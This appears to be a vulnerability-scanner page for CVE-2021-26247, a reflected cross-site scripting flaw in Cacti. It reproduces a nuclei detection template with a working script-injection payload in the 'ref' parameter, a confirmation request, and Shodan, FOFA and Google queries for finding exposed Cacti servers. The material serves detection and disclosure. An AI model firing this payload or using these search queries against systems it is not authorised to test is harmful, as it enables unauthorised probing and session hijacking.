Cacti - Cross-Site Scripting

mediumseverity

6.1CVSS score

7.5%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Cacti contains a cross-site scripting vulnerability via "http://<CACTI_SERVER>/auth_changepassword.php?ref=<script>alert(1)</script>" which can successfully execute the JavaScript payload present in the "ref" URL parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or upgrade to a patched version of Cacti to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Positive when: contains "\"></script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-26247 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-26247

info:
  name: Cacti - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: Cacti contains a cross-site scripting vulnerability via "http://<CACTI_SERVER>/auth_changepassword.php?ref=<script>alert(1)</script>" which can successfully execute the JavaScript payload present in the "ref" URL parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Cacti to mitigate this vulnerability.
  reference:
    - https://www.cacti.net/info/changelog
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26247
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26247
    cwe-id: CWE-79
    epss-score: 0.07124
    epss-percentile: 0.94305
    cpe: cpe:2.3:a:cacti:cacti:0.8.7g:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cacti
    product: cacti
    shodan-query:
      - http.title:"login to cacti"
      - http.title:"cacti"
      - http.favicon.hash:"-1797138069"
    fofa-query:
      - icon_hash="-1797138069"
      - title="cacti"
      - title="login to cacti"
    google-query:
      - intitle:"cacti"
      - intitle:"login to cacti"
  tags: cve,cve2021,cacti,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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